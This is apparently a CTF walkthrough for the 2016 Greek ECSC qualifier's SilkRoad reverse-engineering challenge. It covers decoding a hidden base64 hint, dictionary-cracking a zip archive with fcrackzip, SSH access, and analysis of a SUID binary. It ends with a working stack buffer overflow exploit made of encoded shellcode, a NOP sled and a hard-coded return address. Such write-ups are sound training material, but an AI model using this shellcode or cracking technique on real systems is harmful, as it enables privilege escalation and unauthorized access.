Category: Reverse Engineering
Note: You can download the Reverse Engineering Challenge, along with all the challenges for the 2016 Greek Qualifier CTF of European Cybersecurity Challenge, in this link. More details on the Greek ECSC 2016 Qualifier CTF event can be found here.
Challenge designer: Gavriil
Description: > SilkRoad is back. A vendor on the online marketplace Silk Road, learned that he was not as anonymous as he thought he was while facilitating transactions. In February of 2014, he was arrested by Department of Homeland agents and was subsequently charged with narcotics trafficking, gun theft, and counterfeiting related crimes. One of his friends though managed to escape arrest and had already created SilkRoad 3.0. A secret agent who is helping you, found out this suspicious IP Address (IP of the game). Your mission is to steal the litecoins (flag) he possess which are located under his home directory. Agent is sure that he is user ulbricht of the host. Good luck !!!
First we try to connect to the http service (port 80) with the following result.
This does not indicate anything by itself so lets take a look at the actual source code of the web page.
<html> <title> Welcome to SilkRoad 2.0 </title> <center><img src="silk-road-logo.jpg"> </center> <!-- c2lsa3JvYWQudHh0== --> </html>
Here is something interesting we have an HTML comment with a base64 encoded string, after we decode the string we get
silkroad.txt and after we try it within the browser we get another directory
/silkroad2.0/ with the following contents.
After we download the file we see that the archive is password protected but after some brute force.
fcrackzip connect.zip --dictionary -u -p rockyou.txt
We got the password
silkroad and decompress the archive resulting with a
ConnectionDetails.txt with the following contents.
Username: silk Password: <hidden>
So we try to connect to the SSH service using the credentials we found earlier.
We notice that there is a SUID binary owned by user
ulbricht – let’s analyze the file.
silk@silkroad:~$ ls -lah total 32K drwxr-xr-x 2 silk silk 4.0K Aug 28 15:34 . drwxr-xr-x 4 root root 4.0K May 15 11:47 .. -rw------- 1 silk silk 52 May 15 12:21 .bash_history -rw-r--r-- 1 silk silk 220 May 15 06:24 .bash_logout -rw-r--r-- 1 silk silk 3.5K May 15 06:24 .bashrc -rwsr-xr-x 1 ulbricht ulbricht 5.4K May 15 11:52 buyLTC -rw-r--r-- 1 silk silk 675 May 15 06:24 .profile
silk@silkroad:~$ file buyLTC buyLTC: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=
b5d681e2af95fa37fcb4805fd828ed fc041959b2, not stripped
As we further analyze the binary we see that it has the
No Execute flag on.
root@gateway:~# checksec buyLTC [*] '/root/buyLTC' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE
At first we thought that we need to actually create ROP chains to exploit any existing vulnerabilities but in the end that was not the case.
The system containing the ELF is not PAE|NX capable. We can verify this by issuing:
silk@silkroad:~$ grep ^flags /proc/cpuinfo | head -n1 | egrep --color=auto ' (pae|nx) '
Now that we know the protections deployed within the binary we need to know what kind of functions it uses, included strings and the main entry point (debug symbols were present).
As we see there are some interesting strings:
root@gateway:~# strings ./buyLTC /lib/ld-linux.so.2 libc.so.6 _IO_stdin_used strcpy printf atoi __libc_start_main __gmon_start__ GLIBC_2.0 PTRh [^_] Total cost: %.2f euro 333333 ;*2$" GCC: (Debian 4.9.2-10) 4.9.2 GCC: (Debian 4.8.4-1) 4.8.4 .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss .comment crtstuff.c __JCR_LIST__ deregister_tm_clones register_tm_clones __do_global_dtors_aux completed.6279 __do_global_dtors_aux_fini_
array_entry frame_dummy __frame_dummy_init_array_entry buyLTC.c __FRAME_END__ __JCR_END__ __init_array_end _DYNAMIC __init_array_start _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable __x86.get_pc_thunk.bx data_start printf@@GLIBC_2.0 convert _edata _fini remove_bad_chars strcpy@@GLIBC_2.0 __data_start __gmon_start__ __dso_handle _IO_stdin_used __libc_start_main@@GLIBC_2.0 __libc_csu_init _end _start _fp_hw __bss_start main _Jv_RegisterClasses atoi@@GLIBC_2.0 __TMC_END__ _ITM_registerTMCloneTable _init
We see that the binary uses
strcpy (maybe vulnerable?) we see the main entry point, a very interesting function
root@gateway:~# nm ./buyLTC U atoi@@GLIBC_2.0 08049870 B __bss_start 08049870 b completed.6279 0804845b T convert 08049868 D __data_start 08049868 W data_start 080483a0 t deregister_tm_clones 08048410 t __do_global_dtors_aux 08049754 t __do_global_dtors_aux_fini_
array_entry 0804986c D __dso_handle 0804975c d _DYNAMIC 08049870 D _edata 08049874 B _end 080485d4 T _fini 080485e8 R _fp_hw 08048430 t frame_dummy 08049750 t __frame_dummy_init_array_entry 0804874c r __FRAME_END__ 08049848 d _GLOBAL_OFFSET_TABLE_ w __gmon_start__ 080482d4 T _init 08049754 t __init_array_end 08049750 t __init_array_start 080485ec R _IO_stdin_used w _ITM_deregisterTMCloneTable w _ITM_registerTMCloneTable 08049758 d __JCR_END__ 08049758 d __JCR_LIST__ w _Jv_RegisterClasses 080485d0 T __libc_csu_fini 08048560 T __libc_csu_init U __libc_start_main@@GLIBC_2.0 080484f3 T main U printf@@GLIBC_2.0 080483d0 t register_tm_clones 080484ab T remove_bad_chars 08048360 T _start U strcpy@@GLIBC_2.0 08049870 D __TMC_END__ 08048390 T __x86.get_pc_thunk.bx
Finally we can start by loading the binary to a debugger and check its logic. The actual code is minimal, it uses 2 functions
remove_bad_chars is used to filter one character in the input argument
0x41 (A in ascii table).
convert is used to copy the input argument to a new char array with size
0x218 then pass the result to
atoi multiply it by
3.65 and return the result as a double.
We know that we have a Stack-based Buffer Overflow in
argv when the input is above
536 bytes, and we also know
0x41 is a bad character.
After some tries we manage to rewrite the Extended Instruction Pointer at
544 bytes offset.
With the above knowledge we constructed our exploit:
/home/silk/buyLTC `python -c 'print "\xda\xc4\xd9\x74\x24\xf4\x5d\
xba\x52\x7c\xee\xef\x29\xc9\ xb1\x0b\x31\x55\x1a\x03\x55\ x1a\x83\xed\xfc\xe2\xa7\x16\ xe5\xb7\xde\xb5\x9f\x2f\xcd\ x5a\xe9\x57\x65\xb2\x9a\xff\ x75\xa4\x73\x62\x1c\x5a\x05\ x81\x8c\x4a\x1d\x46\x30\x8b\ x31\x24\x59\xe5\x62\xdb\xf1\ xf9\x2b\x48\x88\x1b\x1e\xee"+" \x90"*470+"\xe0\xf2\xff\xbf"'`
The flag is: > Nice job mate!
# echo 7eamnull